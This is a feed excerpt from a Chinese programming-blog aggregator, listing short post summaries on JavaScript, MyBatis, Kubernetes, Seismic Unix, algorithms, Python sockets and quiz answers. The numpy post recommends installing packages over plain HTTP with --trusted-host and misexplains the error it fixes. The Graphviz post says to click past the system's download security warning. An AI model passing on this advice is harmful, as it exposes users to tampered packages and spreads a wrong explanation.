scope.writePhotosAlbum。success（可选）：授权成功时执行的回调函数。fail（可选）：授权失败时执行的回调函数。 在调用 uni.authorize() 方法时，会向用户展示一个授权对话框，询问用户是否允许获取指定的权限。如果用户同意授权，则执行 success 回调函数；如果用户拒绝授权或授权失败，则执行 fail 回调函数。示例代码：&#xA;uni.authorize({ scope: &#39;scope.</description>
    </item>
    <item>
      <title>前端js八股文大全</title>
      <link>https://bchobby.github.io/posts/85dd3ab3743602182e46a9c9e7fc9bb9/</link>
      <pubDate>Tue, 10 Oct 2023 21:00:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85dd3ab3743602182e46a9c9e7fc9bb9/</guid>
      <description>一、js的数据类型 值类型(基本类型)：数字(Number)、字符串（String）、布尔(Boolean)、对空（Null）、未定义（Undefined）、Symbol,大数值类型(BigInt)&#xA;引用数据类型：对象(Object)、数组(Array)、函数(Function)、日期(Date)。&#xA;注：Symbol 是 ES6 引入了一种新的原始数据类型，表示独一无二的值(标识符)。&#xA;二、什么是函数 JS函数的概念&#xA;函数就是把特定功能的代码抽取出来，使之成为程序中的一个独立实体。&#xA;函数的作用 正如函数的概念, 我们可以根据需要, 将特定的功能用函数来包裹(封装)&#xA;使用函数的好处 1, 函数可以在同一个程序或其他程序中多次重复使用（通过函数名调用）&#xA;2, 使程序变得更简短而清晰 ， 提高可读性&#xA;3, 有利于程序维护&#xA;三、本地对象、内置对象和宿主对象 1.内置对象 js中的内部对象包括Array、Boolean、Date、Function、Global、Math、Number、Object、&amp;gt;RegExp、String以及各种错误类对象，包括Error、EvalError、RangeError、ReferenceError、&amp;gt;SyntaxError和TypeError。&#xA;其中Global和Math这两个对象又被称为“内置对象”，这两个对象在脚本程序初始化时被创建，不必实例化这两个对象。&#xA;2.宿主对象 宿主对象就是执行JS脚本的环境提供的对象。对于嵌入到网页中的JS来说，其宿主对象就是浏览器&#xA;提供的对象，所以又称为浏览器对象，如IE、Firefox等浏览器提供的对象。不同的浏览器提供的&#xA;宿主对象可能不同，即使提供的对象相同，其实现方式也大相径庭！这会带来浏览器兼容问题，&#xA;增加开发难度。浏览器对象有很多，如Window和Document等等。&#xA;3.自定义对象 顾名思义，就是开发人员自己定义的对象。JS允许使用自定义对象，使JS应用及功能得到扩充&#xA;四、数组(Array) 1.基本方法 push() 从后面添加元素，返回值为添加完后的数组的长度 pop() 从后面删除元素，只能是一个，返回值是删除的元素 shift() 从前面删除元素，只能删除一个 返回值是删除的元素 unshift() 从前面添加元素, 返回值是添加完后的数组的长度 splice(i,n) 删除从i(索引值)开始之后的那个元素。返回值是删除的元素 concat() 连接两个数组 返回值为连接后的新数组 sort() 将数组进行排序,默认根据ASCII码比较,返回值是排好的数组 reverse() 将数组反转,返回值是反转后的数组 slice(start,end) 切去索引值start到索引值end的数组，不包含end索引的值，返回值是切出来的数组 indexOf() 查找某个元素的索引值，若有重复的，则返回第一个查到的索引值若不存在，则返回 -1 Array.isArray() 检测是否是一个数组 join() 默认是以 &#34;,&#34; 隔开,返回的是字符串 2.高阶函数(1) forEach(callback) 遍历数组,无return 即使有return，也不会返回任何值，并且会影响原来的数组 map(callback) 映射数组(遍历数组),有return 返回一个新数组 。 注意:forEach()和map()的区别</description>
    </item>
    <item>
      <title>No matching distribution found for numpy 安装numpy报错怎么办，看这里</title>
      <link>https://bchobby.github.io/posts/3d41f098b099726d3340e1351858c1c5/</link>
      <pubDate>Tue, 10 Oct 2023 20:52:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d41f098b099726d3340e1351858c1c5/</guid>
      <description>今天开发小程序，软件包未安装，输入pip install numpy 后出现这个报错，一开始我以为是版本不匹配&#xA;在这里自选适合3.9python的版本后依旧是报错，后面通过其他博主的方法找到了解决方法&#xA;env) PS D:\python&amp;gt; pip install numpy ERROR: Could not find a version that satisfies the requirement numpy (from versions: none)&#xA;ERROR: No matching distribution found for numpy&#xA;出现这两行英文是因为原先输入pip install numpy的方式不安全，不被信任所以无法下载。&#xA;那么我们应该将代码改成&#xA;pip install numpy -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com&#xA;1.提前注意：每个版本的python都有对应版本的包，要选择合适版本的包安装，否则就算安装了也是不匹配，</description>
    </item>
    <item>
      <title>MyBatis SQL语句构建器</title>
      <link>https://bchobby.github.io/posts/90c61a770deb9b672c6bff7498b5ad9a/</link>
      <pubDate>Tue, 10 Oct 2023 15:08:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90c61a770deb9b672c6bff7498b5ad9a/</guid>
      <description>SQL语句构建器 问题 Java程序员面对的最痛苦的事情之一就是在 Java 代码中嵌入 SQL 语句。这么来做通常是由于 SQL 语句需要动态来生成-否则可以将它们放到外部文件或者存储过程中。正如你已经看到的那样，MyBatis 在它的 XML 映射特性中有一个强大的动态 SQL 生成方案。但有时在 Java 代码内部创建SQL语句也是必要的。此时， MyBatis 有另外一个特性可以帮到你，在减少典型的加号,引号,新行,格式化问题和嵌入条件来处理多余的逗号或 AND 连接词之前。事实上，在 Java 代码中来动态生成 SQL 代码就是一场噩梦。例如：&#xA;String sql = &#34;SELECT P.ID, P.USERNAME, P.PASSWORD, P.FULL_NAME, &#34; &#34;P.LAST_NAME,P.CREATED_ON, P.UPDATED_ON &#34; + &#34;FROM PERSON P, ACCOUNT A &#34; + &#34;INNER JOIN DEPARTMENT D on D.ID = P.DEPARTMENT_ID &#34; + &#34;INNER JOIN COMPANY C on D.COMPANY_ID = C.ID &#34; + &#34;WHERE (P.ID = A.ID AND P.</description>
    </item>
    <item>
      <title>Windows11系统鼠标右键菜单中“新建”功能按钮消失的问题解决方法</title>
      <link>https://bchobby.github.io/posts/ff3df3e500304493b544e708041a9b63/</link>
      <pubDate>Tue, 10 Oct 2023 14:51:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff3df3e500304493b544e708041a9b63/</guid>
      <description>在Windows11系统中，有些用户可能遇到了鼠标右键菜单中“新建”功能按钮消失的问题。这可能是由于当前注册表信息被篡改所导致的。&#xA;不用担心，您可以尝试以下简单的方案来进行操作，看看是否能够修复该问题。&#xA;1. 使用快捷键“Win+R”打开运行对话框，然后键入“regedit”，并按回车键打开本地注册表编辑器。&#xA;2. 在注册表编辑器中，定位到以下路径：&#xA;HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers&#xA;3. 点击下面的“New”项目(如果已存在“New”项目，请直接跳到步骤4)，然后找到右侧该项目的值，查看是否为{D969A300-E7FF-11d0-A93B-00A0C90F2719}。&#xA;4. 如果该项目的值不是{D969A300-E7FF-11d0-A93B-00A0C90F2719}，请进行编辑并修改为该值。(双击默认值，打开编辑窗口进行修改。)&#xA;5. 如果在步骤3中没有找到“New”项目，请手动新建一个，并将值设置为{D969A300-E7FF-11d0-A93B-00A0C90F2719}。&#xA;6. 完成上述操作后，请重启您的计算机，并检查右键菜单是否已经恢复了“新建”功能按钮。&#xA;在进行上述操作之前，强烈建议您先导出注册表信息进行备份，以防万一。注册表编辑是一个敏感的操作，请确保按照指导进行操作，避免误操作引起其他问题。&#xA;希望以上方案能够帮助您修复Windows 11右键菜单中“新建”功能按钮缺失的问题，让您的操作更加顺畅和便捷。如果问题仍然存在，请及时向技术支持寻求帮助。祝您使用Windows 11愉快!&#xA;本文来源于：Windows11右键“新建”功能按钮缺失？尝试修复注册表信息-下载集 (xzji.com)https://www.xzji.com/news/13402.html</description>
    </item>
    <item>
      <title>js导出table至excel</title>
      <link>https://bchobby.github.io/posts/1d45d2f3eb04b642a76774311264e4bb/</link>
      <pubDate>Tue, 10 Oct 2023 14:50:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d45d2f3eb04b642a76774311264e4bb/</guid>
      <description>//第一种方法 function method1(tableid) { var curTbl = document.getElementById(tableid); var oXL = new ActiveXObject(&#34;Excel.Application&#34;); var oWB = oXL.Workbooks.Add(); var oSheet = oWB.ActiveSheet; var sel = document.body.createTextRange(); sel.moveToElementText(curTbl); sel.select(); sel.execCommand(&#34;Copy&#34;); oSheet.Paste(); oXL.Visible = true; } //第二种方法 function method2(tableid) { var curTbl = document.getElementById(tableid); var oXL = new ActiveXObject(&#34;Excel.Application&#34;); var oWB = oXL.Workbooks.Add(); var oSheet = oWB.ActiveSheet; var Lenr = curTbl.rows.length; for (i = 0; i &amp;lt; Lenr; i++) { var Lenc = curTbl.</description>
    </item>
    <item>
      <title>动态SVG图标的网站(及其优点)</title>
      <link>https://bchobby.github.io/posts/90b5f51377bca09694a6fd189aa37056/</link>
      <pubDate>Tue, 10 Oct 2023 14:28:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90b5f51377bca09694a6fd189aa37056/</guid>
      <description> 以下是几个有动态SVG图标的网站，并且列出了它们的优点： 1. Iconfinder 优点：Iconfinder是一个非常大的图标库，拥有数百万个图标供选择。它提供了许多动态SVG图标，可以直接下载和使用。用户可以根据自己的需求进行搜索和筛选，并可以根据自己的喜好进行自定义。&#xA;2. Flaticon 优点：Flaticon是另一个非常受欢迎的图标库，提供了大量的动态SVG图标，可以根据不同的主题和风格进行筛选。此外，Flaticon还提供了一些有用的工具，如图标编辑器和生成图标字体的功能。&#xA;3. Icons8 优点：Icons8是一个全面的图标平台，提供了各种类型的图标，包括动态SVG图标。它的优点是图标的质量很高，并且有一个易于使用的界面，可以使用户轻松地筛选图标。&#xA;4. Noun Project 优点：Noun Project是一个社区驱动的图标库，拥有大量的图标供选择。它的优点是图标的多样性和创意性很高，并且可以根据不同的主题和风格进行筛选。此外，Noun Project还允许用户上传和共享自己的图标，以及与其他用户进行交流和合作。&#xA;5. Animated SVG Icons 优点：Animated SVG Icons是一个专门提供动态SVG图标的网站。它的优点是所有图标都是动态的，可以为网站和应用程序添加一些生动和互动的效果。此外，Animated SVG Icons还提供了一些有用的工具和教程，帮助用户使用和定制动态SVG图标。&#xA;这些网站的共同优点是它们提供了大量的动态SVG图标供选择，并且图标的质量很高。用户可以根据自己的需求进行搜索、筛选和自定义，并且可以直接下载和使用这些图标。此外，一些网站还提供了一些有用的工具和功能，帮助用户更好地使用和定制动态SVG图标。 </description>
    </item>
    <item>
      <title>phpstorm配置ftp同步文件到服务器</title>
      <link>https://bchobby.github.io/posts/1d29476b5850dc2eb4698d55dd18c6b5/</link>
      <pubDate>Tue, 10 Oct 2023 13:27:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d29476b5850dc2eb4698d55dd18c6b5/</guid>
      <description>这里的默认快捷键 不是 Ctrl+S ；需要设置快捷键，这里原来是save all操作时上传文件到服务器；&#xA;**&#xA;设置好快捷键后按 Ctrl+S就会同步文件（添加删除文件后保存，服务器也会同步） **&#xA;搜索出save all 后，双击它，弹出设置面板，然后按 Ctrl+S获取按键，最后点击OK</description>
    </item>
    <item>
      <title>seismic unix 制作数据 合成数据</title>
      <link>https://bchobby.github.io/posts/e277610fea0a7ca461b641931b8e74fd/</link>
      <pubDate>Tue, 10 Oct 2023 13:00:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e277610fea0a7ca461b641931b8e74fd/</guid>
      <description>这一部分是su的基础，在装配完su后，建议先熟悉环境，把linux基础操作，vim基础操作熟悉后，首先进行su脚本，语法规则等的基础学习。&#xA;ls是列出当前文件夹下文件，不包括隐藏文件/夹&#xA;ls -a 是列出当前文件夹下所有文件，包括隐藏文件/夹&#xA;cd .. 注意是两个点，返回上一级目录&#xA;绿色的文件名，可执行文件，在命令行下./+名字可以直接运行。&#xA;蓝色的文件名，文件夹，在命令行下cd+名字可以进到该文件夹内。&#xA;黑色的文件名，文件，在命令行下，more/vim+文件名可以查看内容。&#xA;下面是0偏移距，正演效果：</description>
    </item>
    <item>
      <title>seismic unix安装教程 linux红帽</title>
      <link>https://bchobby.github.io/posts/5dc90bf797399b4027ddda04ad56982a/</link>
      <pubDate>Tue, 10 Oct 2023 12:22:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5dc90bf797399b4027ddda04ad56982a/</guid>
      <description>SU是科罗拉多州矿业学院开发的一个免费地震处理软件。国内外很多科研人员及学生都借助于他来进行创作，和其他天价的处理软件相比，SU对学生就显得尤为珍贵了，更何况他开放源代码，可以方便地在其基础上进行再创作。&#xA;但是对于不是很熟悉LINUX的人来说，能把它安装上也需要花不少功夫，下面就把我的体会写出来，以供大家参考。&#xA;在Redhat9.0,Ubantu,Fedaro5,Fedaro7,和SUN工作站上多次安装，要领如下（默认 bsh ）：&#xA;1、确保不是在root用户下安装，root权限太大，稍有不慎，可能会把系统搞崩溃。去CWP主页http://www.cwp.mines.edu/cwpcodes/index.html下载好安装包，目前版本是：cwp_su_all_40.gz，用tar -xvzf cwp_su_all_40.gz 解压出src文件夹,可以先在家目录下创建su文件夹，把src放在su内。&#xA;2、修改环境变量，先在家目录下（终端打开就是，如果不在用cd命令后面不加参数就可以进去,用pwd就可以看路径，比如我的路径是 /home/user ，）用ls -a 查看文件。找到 .bashrc隐藏文件,用vi 编辑器打开（vi .bashrc），在末尾出添加：&#xA;export CWPROOT=/home/user/su&#xA;export PATH=$PATH::/home/user/su/bin&#xA;然后保存（“先按ESC键，然后按两次大写Z”或者“先按ESC键，然后输入:wq”）退出，同样执行 vi .bash_profile 进行修改：&#xA;export CWPROOT=/home/user/su&#xA;export PATH=$PATH::/home/user/su/bin 保存退出后，然后执行以下命令：&#xA;source .bashrc&#xA;source .bash_profile&#xA;然后检查设置是否正确：&#xA;echo $CWPROOT&#xA;显示为：/home/user/su 则说明无误&#xA;echo $PATH&#xA;末尾处有 /home/user/su/bin 就万事大吉了，关掉终端，重新打开一个，确保万无一失，如果不正确，则重新设置。&#xA;3）（这项不需要再改）&#xA;进入这个目录，可以看到makefile.config 这个文件，要修改里面的三项,输入命令：gedit makefile.config , 然后修改所打开的文件：&#xA;a，将 ENDIANFLAG = -DCWP_LITTLE_ENDIAN 句激活（即去掉#）。&#xA;b，将 include $(CWPROOT)/src/Rules/gnumake.rules 句激活&#xA;c，蔽掉 include$(CWPROOT)/src/Rules/oldmake.rules 句,修改后保存。&#xA;d，将FC=g77, FC=f77,FC=ifort 屏蔽掉，激活FC=gfortran&#xA;4）打开MakeFile文件，将“#CWPROOT =”前的“#”去掉，在等号后面添加/home/yourname/su&#xA;（这步很关键，之前我一直报错，结果就是忽略了这步的原因）&#xA;4、修改完Makefile.config，就可以安装了。</description>
    </item>
    <item>
      <title>软件工程 第6章 软件编码和测试 习题答案</title>
      <link>https://bchobby.github.io/posts/1932f213d50bba4a6f0c1ee12c2e73b1/</link>
      <pubDate>Tue, 10 Oct 2023 12:07:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1932f213d50bba4a6f0c1ee12c2e73b1/</guid>
      <description>一.单选题（共4题,20.0分） 1&#xA;黑盒测试是从（ ）观点出发的测试，白盒测试是从（ ）观点出发的测试。&#xA;（5.0分）&#xA;A、 开发人员、管理人员&#xA;B、 用户、管理人员&#xA;C、 用户、开发人员&#xA;D、 开发人员&#xA;正确答案： C 我的答案：C&#xA;2&#xA;软件测试方法中，黑盒测试方法和白盒测试方法是常用的方法，其中黑盒测试方法主要用于测试（ ）&#xA;（5.0分）&#xA;A、 结构合理性&#xA;B、 软件外部功能&#xA;C、 程序正确性&#xA;D、 程序内部逻辑&#xA;正确答案： B 我的答案：B&#xA;3&#xA;使用白盒测试方法时，确定测试数据应根据（ ）和指定的覆盖标准。&#xA;（5.0分）&#xA;A、 程序的内部逻辑&#xA;B、 程序的复杂结构&#xA;C、 使用说明书&#xA;D、 程序的功能&#xA;正确答案： A 我的答案：A&#xA;4&#xA;测试的关键问题是（ ）&#xA;（5.0分）&#xA;A、 如何组织软件评审 B、 如何选择测试用例&#xA;C、 如何验证程序的正确性&#xA;D、 如何采用综合策略&#xA;正确答案： B 我的答案：B&#xA;二.判断题（共3题,15.0分） 1&#xA;好的测试是用少量的测试用例运行程序，发现被测程序尽可能多的错误&#xA;（5.0分）&#xA;我的答案：√ 正确答案：√&#xA;2</description>
    </item>
    <item>
      <title>软件工程 第5章 详细设计 习题答案</title>
      <link>https://bchobby.github.io/posts/6c7d21c2cee2b34dac57fe57f653dd4c/</link>
      <pubDate>Tue, 10 Oct 2023 12:07:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c7d21c2cee2b34dac57fe57f653dd4c/</guid>
      <description>一.简答题（共3题,15.0分） 1&#xA;请用判定表画出以下问题的行为逻辑。 人们往往根据天气情况决定出门时的行装；天气可能下雨，也可能不下雨；天气可能变冷，也可能不变冷。如果天气要下雨，出门时带上雨伞；如果天气变冷，出门时要穿上大衣。（5.0分）&#xA;正确答案：&#xA;天气情况&#xA;下雨&#xA;不下雨&#xA;变冷&#xA;不变冷&#xA;变冷&#xA;不变冷&#xA;带雨伞&#xA;Yes&#xA;Yes&#xA;No&#xA;No&#xA;穿大衣&#xA;Yes&#xA;No&#xA;Yes&#xA;No&#xA;2&#xA;现有程序流程图表示：输入十个数据，输出其中的最小数和最大数。试根据流程图画出N_S图。&#xA;（5.0分）&#xA;正确答案：&#xA;3&#xA;将下面给出的伪码转换为PAD图。&#xA;void root ( float root1, float root2 ) {&#xA;i = 1; j = 0;&#xA;while ( i &amp;lt;= 10 ) {&#xA;输入一元二次方程的系数a, b, c;&#xA;p = b*b – 4*a*c;&#xA;if ( p &amp;lt; 0 ) 输出“方程i无实数根”;&#xA;else if ( p &amp;gt; 0 ) 求出根并输出;</description>
    </item>
    <item>
      <title>k8s 常用命令</title>
      <link>https://bchobby.github.io/posts/ac00b3b8297b65b64e3c91f29c37ffc2/</link>
      <pubDate>Tue, 10 Oct 2023 10:42:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac00b3b8297b65b64e3c91f29c37ffc2/</guid>
      <description>资源类型资源简称nodenonamespacesnsdeploymentdeployReplicaSetrspodposervicesvcingressingDaemonSetsdsStatefulSetsstsConfigMapcmPersistentVolumepvPersistentVolumeClaimpvcHorizontalPodAutoscalerhpaComponentStatuscs 创建资源 # 创建一个deployment cat &amp;gt;&amp;gt; nginx-deploy-test.yaml &amp;lt; EOF apiVersion: apps/v1 #版本信息 kind: Deployment #资源信息 metadata: #元数据 name: nginx-deploy #资源名称 namespace: default #属于哪个命名空间下 spec: replicas: 2 #一共有两个副本资源 selector: matchLabels: app: nginx template: #pod创建模板 metadata: labels: app: nginx spec: containers: #容器名称下边的容器可以有多个 - image: nginx #镜像名称 imagePullPolicy: IfNotPresent #镜像拉取策略 name: nginx-test #容器名称 restartPolicy: Always #重启策略 EOF 部署上边的yaml资源信息&#xA;kubectl apply -f nginx-deploy-test.yaml 也可以这样使用命令行方式，直接创建&#xA;#创建pod kubectl create deploy nginx --image=nginx 查看资源信息 1.1 查看k8s版本信息</description>
    </item>
    <item>
      <title>GraphViz‘s executables not found解决方法（安装Graphviz）</title>
      <link>https://bchobby.github.io/posts/6cc9b5e4056166d7d186b974a402487f/</link>
      <pubDate>Tue, 10 Oct 2023 08:37:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6cc9b5e4056166d7d186b974a402487f/</guid>
      <description>当用anaconda运行决策树代码遇到GraphViz&#39;s executables not found时，我尝试了以下以下方法进行，效率最快，不用进行任何配置。&#xA;第一步 进入GraphViz官网，进行下载安装&#xA;网址链接：https://graphviz.org/download/&#xA;接着选择要下载的包&#xA;选择第二个或者第三个，根据自己的电脑配置来选择。下载时会遇到系统地安全阻拦，你选择信任这个安装包，跳过阻拦就可以了。&#xA;跳过方法：&#xA;点击省略号位置&#xA;点击保留&#xA;点击详细信息，然后选择仍然保留，就可以进行安装了。&#xA;第二步 进行安装&#xA;选择下一步。&#xA;选择接受 到这你可以选择第二个或者第三个选项，但我一般选择第二个。再继续勾选第四个选项，然后进行下一步。&#xA;然后选择安装路径，根据自己喜欢的安装路径进行选择。&#xA;然后选择安装，这样安装过程就结束了。&#xA;第三步 安装完成后，还需要你进行最后一步，就可以运行出决策树画图的代码了。&#xA;最后一步只需要你重新启动anaconda，因为anaconda需要重新读取你电脑的环境变量，重启之后，你再运行代码就能出结果了。&#xA;如果这种方法不行，你还可以参照另外一个博主的方法，链接：GraphViz&#39;s executables not found解决方法（安装Graphviz）_graphviz not found-CSDN博客</description>
    </item>
    <item>
      <title>Uncaught SyntaxError: The requested module ‘/node_modules/.vite/deps/vue-router.js?v=9eef87ba‘</title>
      <link>https://bchobby.github.io/posts/e75d6f5a694f6c11ec0992624685858b/</link>
      <pubDate>Tue, 10 Oct 2023 01:32:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e75d6f5a694f6c11ec0992624685858b/</guid>
      <description>错误代码 import {createRouter, createWebHistory, RouteRecordRaw} from &#39;vue-router&#39; // 自定义属性类型检测 type RouterConfig = RouteRecordRaw &amp;amp; { hidden?: boolean // hidden属性非必填 name?: string //string属性非必填 } const routes: Array&amp;lt;RouterConfig&amp;gt; = [ { path: &#39;/about&#39;, name: &#39;about&#39;, hidden: true, component: () =&amp;gt; import(&#39;../views/AboutView.vue&#39;) } ] const router = createRouter({ history: createWebHistory(import.meta.env.BASE_URL), routes }) export default router 错误提示 浏览器中路由无法显示，提示错误&#xA;Uncaught SyntaxError: The requested module &#39;/node_modules/.vite/deps/vue-router.js?v=9eef87ba&#39; does not provide an export named &#39;RouteRecordRaw&#39; 问题描述&#xA;Volar: &#39;RouteRecordRaw&#39; is a type and must be imported using a type-only import when &#39;verbatimModuleSyntax&#39; is enabled.</description>
    </item>
    <item>
      <title>常见排序算法Java版（待续）</title>
      <link>https://bchobby.github.io/posts/fd9f4965f850ac35b2fcc6d8a5d22a85/</link>
      <pubDate>Mon, 09 Oct 2023 23:45:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd9f4965f850ac35b2fcc6d8a5d22a85/</guid>
      <description>冒泡排序O(n^2)&#xA;public class Main { public static void main(String[] args) { Random random = new Random(); int[] nums = new int[]{random.nextInt(100), random.nextInt(100), random.nextInt(100), random.nextInt(100), random.nextInt(100), random.nextInt(100)}; for (int i = nums.length - 1; i &amp;gt;= 0; i--) { for (int j = 0; j &amp;lt; i; j++) { if (nums[j] &amp;gt; nums[j + 1]) { int temp = nums[j]; nums[j] = nums[j + 1]; nums[j + 1] = temp; } } } for (int num : nums) { System.</description>
    </item>
    <item>
      <title>动态规划：弗洛伊德（Floyd）算法总结与实现</title>
      <link>https://bchobby.github.io/posts/8cf15014158e82da66d18e22fb1d88f4/</link>
      <pubDate>Mon, 09 Oct 2023 21:57:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cf15014158e82da66d18e22fb1d88f4/</guid>
      <description>弗洛伊德算法常用来来计算图中任意两点间的距离。&#xA;首先，我们把一个图初始化成一个各个顶点到其他顶点的距离的表格。弗洛伊德算法可以简单理解为更新这个初始化的表 成为 一个每个顶点到其他顶点都是最短距离的表格。&#xA;其中，最关键的点就是：当这个图的一个顶点到其它顶点的距离有两个不同的过程，&#xA;1，经过一个中间节点距离最短&#xA;2，直接到达目的顶点距离最短&#xA;所以需要遍历每一个顶点 ，当这个顶点作为出发节点，中间节点，目的节点的情况时哪一个距离最短。&#xA;例如：&#xA;我们初始化这张表： （N表示不可以直接到达）&#xA;jABCDEi000000A00NN35B010018NNC05N0NND0NN00NE0NN220 举个例子来表示使用弗洛伊德算法来更新这张表的过程：&#xA;以A为出发节点&#xA;当从A-&amp;gt;C时，原距离表中的距离是N，而存在D作为中间节点时，A-&amp;gt;C的距离更新为A-&amp;gt;D-&amp;gt;C=3+2=5，5比N小，所以表更新为&#xA;jABCDEi000000A00N535B010018NNC05N0NND0NN00NE0NN220 以此类推更新每一个节点。&#xA;算法的实现就是来比较这个表原有的距离与新找到的距离哪一个更短，如果找到了更短的，则更新表。&#xA;下面为代码实现，把不可到达定义成一个比较大的数：&#xA;package e.d7; import java.util.Scanner; /** * autor:张鑫 */ //任意两点之间距离最短 public class Floyd { //定义不可到达 static int UNLIMIT = 900; //取最小值 static int minimum(int a, int b) { if (a &amp;lt;= b) return a; else return b; } //更新距离表和顶点前驱表 static void floyd(int D[][]) { int k, i, j; int n = D.</description>
    </item>
    <item>
      <title>网络编程中套接字（socket）介绍（Python示例）</title>
      <link>https://bchobby.github.io/posts/03541b198f93896a86da1c7779169d7f/</link>
      <pubDate>Mon, 09 Oct 2023 21:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03541b198f93896a86da1c7779169d7f/</guid>
      <description>网络编程中套接字（socket）介绍（Python示例） 网络编程就是同一计算机的进程间或者不同的联网计算机之间的通信（交换数据）。&#xA;那么，这两台计算机之间用什么传输数据呢？首先你肯定先需要物理连接嘛。&#xA;在此基础上，只需要考虑如何编写数据传输程序。&#xA;套接字是一种抽象的概念，它表示一个端点，用于在网络中传输数据。套接字可以用于实现各种网络协议，如 TCP/IP、UDP 等。&#xA;在套接字中，有两个主要的概念：&#xA;服务器套接字（server socket）：用于接收来自客户端的连接请求，并建立与客户端的连接。服务器套接字通常在一个特定的端口上等待客户端的连接。&#xA;客户端套接字（client socket）：用于向服务器发送连接请求，并与服务器建立连接。客户端套接字通常在随机选择的端口上发起连接。&#xA;套接字通过使用 IP 地址和端口号来唯一标识其所在的计算机和端点。在网络编程中，程序员通常使用套接字来编写服务器和客户端程序，以实现数据的传输和通信。套接字在计算机网络、Internet 编程等领域中有着广泛的应用。&#xA;看似很麻烦，但实际上这点不用愁，因为和开发语言与操作系统已经提供了socket。即使对网络数据传输的原理不太熟悉，我们也能通过 socket 来编程。&#xA;【Python之socket 官方文档 https://docs.python.org/zh-cn/3/library/socket.html 】&#xA;服务器端Python源码文件：&#xA;import socket # 创建套接字 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 绑定地址和端口 server_address = (&#39;localhost&#39;, 8888) server_socket.bind(server_address) # 监听连接 server_socket.listen(5) print(&#39;等待客户端连接...&#39;) while True: # 接受连接 client_socket, client_address = server_socket.accept() print(&#39;接受来自 {} 的连接&#39;.format(client_address)) try: # 发送数据 message = &#39;欢迎访问服务器！&#39; client_socket.sendall(message.encode(&#34;utf8&#34;)) # 接收数据 data = client_socket.recv(1024).decode(&#39;utf-8&#39;) print(&#39;收到来自客户端的数据：&#39;, data) finally: # 关闭连接 client_socket.</description>
    </item>
    <item>
      <title>Pyhton编程小游戏“逢7拍手”</title>
      <link>https://bchobby.github.io/posts/e3746415b361ecb05889ba38a21f8a28/</link>
      <pubDate>Mon, 09 Oct 2023 20:44:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3746415b361ecb05889ba38a21f8a28/</guid>
      <description>用while循环嵌套if来解决这个问题&#xA;从1开始顺序数数，数到有7或者包含7倍数的数字时拍手，在100以内的数字里面实现程序。&#xA;输出结果显示：</description>
    </item>
    <item>
      <title>gojs阻止click冒泡事件</title>
      <link>https://bchobby.github.io/posts/1ad8bd6eaf5d37fde8227b95dee11529/</link>
      <pubDate>Mon, 09 Oct 2023 20:40:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ad8bd6eaf5d37fde8227b95dee11529/</guid>
      <description>在需要阻止冒泡的事件处理程序中设置e.handled=true,&#xA;即可阻止单击事件从可视化树上上升到面板，一直到节点。</description>
    </item>
    <item>
      <title>快速生成前端代码的工具，iVX值得你去了解</title>
      <link>https://bchobby.github.io/posts/4e19f8e0dc81b5fa2310746e7a586c26/</link>
      <pubDate>Mon, 09 Oct 2023 20:16:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e19f8e0dc81b5fa2310746e7a586c26/</guid>
      <description>人生有涯而知无涯，对于变幻莫测的前端而言。层出不穷的各种框架榨取了我们的所有精力，而当我们指望着手中的技术能够为我们养老送终的时候，我们所熟悉的技术被淘汰，一个新的前端框架又打碎了我们的所有梦。也之所以因为此，我开始变得麻木，在这个越来越妖娆的前端名利场，能够快速的出活，能够快速的完成我想要的，才是最关键的事情。&#xA;抱着这个心态，我找了一些能够快速生成前端代码的工具，正好iVX可以满足我的这个需求。直接进入iVX CN这个主页，点击开始开发，我们就可以进行前端页面开发。想要什么控件，直接在右侧进行选择，比如按钮、视频组件、编辑框等等，甚至连地图都有。感觉就像在使用visual studio开发winform 和 wpf 一样，直接拖拖控件就能够完成一个界面。非常方便有没有！&#xA;而且由这个iVX CN 云IDE 生成的前端页面我们是可以导出来源码的！这是最关键的部分，因为对于程序员来说，拿到源码我们才能更加方便的修改。这个在iVX是完全免费的。我们只需要点击右上角的文件，然后选择最后一个菜单项导出前端源码（见下图）。即可将源码导出通过浏览器下载到本地，图中的 html-新建应用1（2） 